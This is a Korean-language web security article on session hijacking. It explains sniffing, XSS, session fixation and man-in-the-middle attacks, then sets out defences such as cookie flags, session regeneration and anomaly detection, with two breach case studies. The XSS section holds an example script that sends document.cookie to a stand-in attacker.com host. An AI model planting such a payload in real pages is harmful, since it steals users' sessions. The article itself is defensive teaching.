세션 하이재킹의 공격 경로와 방어 설계

세션 하이재킹의 네트워크·클라이언트 측 탈취와 세션 고정, 중간자 공격을 이해하고 쿠키 보안 속성과 탐지 체계를 설계하는 방법

2026-08-14 · 최초 발행 2025-06-28

로그인 이후에 노출되는 인증 경로

세션 하이재킹(Session Hijacking)은 인증을 마친 사용자의 세션을 탈취해 그 권한을 사용하는 공격 기법이다. 공격자는 정상 로그인 절차를 우회하고, 로그인 상태를 식별하는 세션 정보를 가로채 피해자의 권한으로 서비스에 접근한다.

웹 애플리케이션 보안에서 중요한 취약점으로 분류되며 OWASP Top 10에 지속적으로 포함되고 있다. 공격이 성공하면 피해자가 보유한 모든 권한을 얻을 수 있어 영향 범위도 넓다.

HTTP의 상태 없는 요청을 이어 주는 세션

웹 애플리케이션은 HTTP의 비상태성(Stateless) 때문에 세션을 사용한다. 인증이 끝난 뒤 서버는 세션을 임시 상태 정보로 보관하고, 클라이언트가 보낸 세션 ID로 요청의 사용자를 식별한다.

ServerClientServerClient이후 모든 요청에 세션 ID 포함로그인 요청 (ID/PW)인증 정보 확인세션 ID 생성세션 ID 전달 (쿠키)요청 + 세션 ID세션 ID 검증응답

세션 ID는 대체로 쿠키(Cookie)에 담겨 전달된다. 일부 애플리케이션은 URL 파라미터나 숨겨진 폼 필드로도 이를 전송한다.

세션을 빼앗는 경로

네트워크 트래픽에서 세션 ID를 수집하는 방식

패킷 스니핑(Packet Sniffing)은 네트워크 트래픽에 포함된 세션 정보를 탈취하는 방식이다. 특히 암호화되지 않은 HTTP 통신이 대상이 된다.

공유 네트워크에서 공격자가 패킷 스니퍼 도구를 실행한 뒤, 사용자가 웹사이트에 로그인하면 인증 후 발급된 세션 ID가 트래픽에 포함될 수 있다. 공격자는 이를 캡처해 자신의 브라우저에 적용하고 피해자 세션으로 서비스에 접근한다.

방어는 모든 통신을 HTTPS(TLS/SSL)로 암호화하는 데서 시작한다. 보안 플래그가 적용된 쿠키를 사용하고, 네트워크 트래픽에서 이상 징후를 모니터링해야 한다.

브라우저 안에서 쿠키를 노리는 XSS

클라이언트 측 세션 하이재킹은 XSS(Cross-Site Scripting) 취약점을 이용한다. 공격자가 악성 스크립트를 삽입하면 피해자 브라우저에서 세션 정보가 탈취될 수 있다.

<script>
  var img = new Image(); img.src = "https://attacker.com/steal.php?cookie=" +
  document.cookie;
</script>

HttpOnly 플래그는 JavaScript의 쿠키 접근을 차단한다. 콘텐츠 보안 정책(CSP), 입력값 검증, 출력 이스케이핑도 함께 적용해야 한다.

이미 알고 있는 세션을 로그인에 묶는 세션 고정

세션 고정 공격(Session Fixation)은 공격자가 알고 있는 세션 ID를 피해자가 사용하도록 유도하는 방식이다. 공격자는 웹사이트에서 유효한 세션 ID를 얻은 뒤 이메일이나 XSS 등을 통해 이를 사용하게 만들고, 피해자가 해당 ID로 로그인하면 같은 세션으로 접근한다.

VictimServerAttackerVictimServerAttacker세션 ID 요청세션 ID 발급악성 링크 전송 (세션 ID 포함)로그인 (강제된 세션 ID 사용)인증 성공 (동일 세션 유지)동일 세션 ID로 접근인증된 세션으로 응답

인증 성공 후에는 항상 새 세션 ID를 발급해 세션을 재생성해야 한다. 세션 ID의 출처와 사용 패턴을 검증하고, Secure 및 SameSite 쿠키 속성도 사용한다.

통신 사이에 개입하는 중간자 공격

중간자 공격(Man-in-the-Middle)은 클라이언트와 서버 사이의 통신을 가로채 세션을 탈취한다. ARP 스푸핑, DNS 스푸핑 등이 이 과정에 활용될 수 있다.

상호 인증(Mutual Authentication), 인증서 핀닝(Certificate Pinning), 통신 무결성 검증으로 이 경로의 위험을 줄인다.

세션 수명과 쿠키 범위를 통제하는 방법

세션 ID는 충분한 길이인 128비트 이상과 높은 엔트로피를 가진 무작위 값으로 생성한다. 일정 시간 활동이 없으면 세션을 만료시키고, 명시적인 로그아웃 시 세션 데이터를 완전히 삭제해야 한다. 동일 계정의 다중 접속은 제한하거나 알림을 제공할 수 있다.

쿠키에는 JavaScript 접근을 막는 HttpOnly, HTTPS 연결에서만 전송되게 하는 Secure, 크로스 사이트 요청의 전송을 제한하는 SameSite를 적용한다. Domain과 Path는 쿠키가 적용되는 범위를 최소화하는 데 사용한다.

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

IP 바인딩은 세션을 특정 IP 주소에 연결해 동일 IP에서만 접근하도록 하는 방식이다. 다만 모바일 환경이나 NAT 환경에서는 제한적으로 적용해야 한다. 브라우저 정보와 화면 해상도 등의 클라이언트 특성을 활용하는 디바이스 핑거프린팅, 중요 작업에 추가 인증을 요구하는 2단계 인증(2FA)도 보안 계층이 된다.

세션 이상 징후를 대응 절차로 연결하기

갑작스러운 위치 변경, 비정상적인 접근 패턴, 동시 접속 시도는 모니터링 대상이 되는 세션 활동이다. 의심스러운 활동을 감지했을 때 세션을 종료하고 사용자에게 알리며 추가 인증을 요구하는 자동화된 응답 체계를 마련할 수 있다.

개발 단계에서는 보안 코딩 가이드라인을 적용하고 세션 관리 로직의 코드 리뷰를 강화한다. SAST, DAST 같은 자동화된 보안 테스트 도구를 활용하며 개발자 보안 교육도 정례화한다.

인프라에서는 웹 애플리케이션 방화벽(WAF), TLS 1.3 이상의 네트워크 트래픽 암호화, HSTS와 X-XSS-Protection 등의 보안 헤더를 적용한다. 정기적인 취약점 스캔과 모의해킹도 필요하다.

탐지 이후의 대응 절차를 문서화하고 비상 연락망과 책임자를 지정해야 한다. 사용자 알림 및 대응 채널을 준비하고, 사고 뒤에는 분석과 개선 프로세스를 수행한다.

계정 탈취로 이어진 사례

Facebook 계정 하이재킹 (2018)

공격자들은 "View As" 기능의 취약점을 이용해 5천만 이상의 사용자 계정 액세스 토큰을 탈취했다. 이 공격으로 공격자들은 사용자의 Facebook 계정을 완전히 제어할 수 있었고, Facebook은 긴급 조치로 9천만 명의 사용자 세션을 강제로 종료시켰다.

Yahoo 데이터 유출 (2013-2014)

Yahoo에서는 쿠키 위조 기술로 사용자 인증을 우회하는 공격이 발생했다. 30억 개 이상의 계정 정보가 유출됐고, 이는 역사상 가장 큰 규모의 데이터 유출 사고 중 하나로 기록됐다. 이 사건으로 Yahoo의 기업 가치는 3억 5천만 달러 이상 하락했다.

세션 관리는 사용자 인증의 연장선이다. 통신 암호화, 쿠키 제어, 세션 재생성, 이상 징후 탐지와 사고 대응을 함께 설계해야 세션 탈취 위험을 완화할 수 있다.

세션 하이재킹웹 보안쿠키 보안인증 우회XSS